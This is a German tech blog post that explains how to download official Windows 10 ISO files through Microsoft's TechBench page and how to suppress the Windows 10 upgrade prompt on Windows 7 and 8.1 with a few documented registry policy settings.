Im Internet existieren viele Quellen, um an eine ISO-Datei von Windows 10 zu gelangen. Dabei handelt es sich aber oftmals um keine offiziellen ISOs von Microsoft, weshalb man hier nicht unüberlegt zugreifen sollte. Während MSDN-Abonnenten, DreamSpark-Mitglieder oder Firmen mit Volumenlizenzvertrag keine Probleme haben an offizielle ISOs direkt von Microsoft zu gelangen, funktioniert es bei Otto Normalverbraucher nicht so einfach. Der von Microsoft gewünschte Weg führt in diesem Fall über das Media Creation Tool, mit dem die Öffentlichkeit an eine ISO-Datei gelangen kann. Für viele Nutzer dürfte diese Tatsache nicht weiter schlimm sein, denn das Media Creation Tool funktioniert durchaus zufriedenstellend.

Wer allerdings direkt eine Windows-10-ISO downloaden möchte schaut in die Röhre, denn ein direkter Download ist für die Allgemeinheit offiziell nicht vorgesehen – aber inoffiziell ;-)

Im Rahmen des TechBench-Upgradeprogramms bietet Microsoft die Möglichkeit, direkt eine ISO-Datei von Windows 10 herunterzuladen. Dabei handelt es sich offensichtlich wohl noch um einen Geheimtipp, denn viele Leute hören von dieser Möglichkeit das erste Mal. Das TechBench-Upgradeprogramm ist kurz gesagt für Vertriebspartner gedacht, die ISO-Dateien benötigen, um eine Installations-DVD oder einen Installations-USB-Stick anzufertigen.

Die verfügbaren ISOs enthalten Windows 10 Home und Windows 10 Pro und werden in unterschiedlichen Varianten bereitgestellt:

  • Windows 10: Standardauswahl
  • Windows 10 N: für Europa, ohne Windows Media Player
  • Windows 10 KN: für Korea, ohne Windows Media Player
  • Windows 10 Single Language: nur eine Sprache, kleinerer Download

Im Regelfall sollte hier also “Windows 10” die richtige Variante sein. Anschließend muss die Sprache ausgewählt werden und schon werden direkte Downloadlinks für die 32- und 64-Bit-Versionen der ISO-Dateien angezeigt. Die Downloadlinks sind 24 Stunden gültig.

Download Windows 10 ISO (Windows 10 TechBench-Upgradeprogramm)
Download Windows 10 Insider Preview ISO

Windows 10 Download

Windows 10 Upgrade blockieren

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Nach wie vor wirbt Microsoft unter Windows 7 und Windows 8.1 recht aufdringlich für das Upgrade auf Windows 10. Selbst wer den Upgrade-Hinweis bereits entfernt hatte, bekommt ihn mittlerweile wieder zu Gesicht. Das liegt daran, dass Microsoft das dafür verantwortliche Windows-Update KB3035583 in einer neuen Revision veröffentlicht hat. Darüber hinaus berichten einige Nutzer davon, dass die GWX-Applikation bei jedem Start bzw. bei jeder Aktivierung aus dem Standby-Modus abstürzt. Die Fehlermeldung muss dann jedes Mal geschlossen werden.

Beim jüngsten Patchday wurde das Upgrade auf Windows 10 sogar standardmäßig von der Windows-Update-Funktion zur Verfügung gestellt. Mittlerweile hat sich aber herausgestellt, dass dies laut Microsoft ein Fehler war und nur einen kleinen Teil der Nutzer von Windows 7 bzw. 8.1 betroffen hat.

Kurzum der Upgrade-Hinweis ist mehr als nervig und möchte von vielen Windows-Usern entfernt werden. Um diesen Weg etwas zu vereinfachen, biete ich ein Registry-Skript an, welches mit Administratorrechten ausgeführt werden muss.

Download Registry-Skript zum Blockieren vom Windows 10 Upgrade

Wer möchte kann die Änderungen in der Registry natürlich auch von Hand erledigen:

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\GWX]
"DisableGWX"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate]
"DisableOSUpgrade"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\OSUpgrade]
"AllowOSUpgrade"=dword:00000000
"ReservationsAllowed"=dword:00000000

Nach einem Neustart sollte der störende Upgrade-Hinweis endgültig der Vergangenheit angehören. Falls doch nicht, könnt ihr alternativ auch das PowerShell-Skript von der c’t ausprobieren. Wenn auch das nichts hilft, bleibt euch wohl nichts anderes übrig als den Hinweis zu ertragen oder alternativ das Upgrade auf Windows 10 durchzuführen ;-)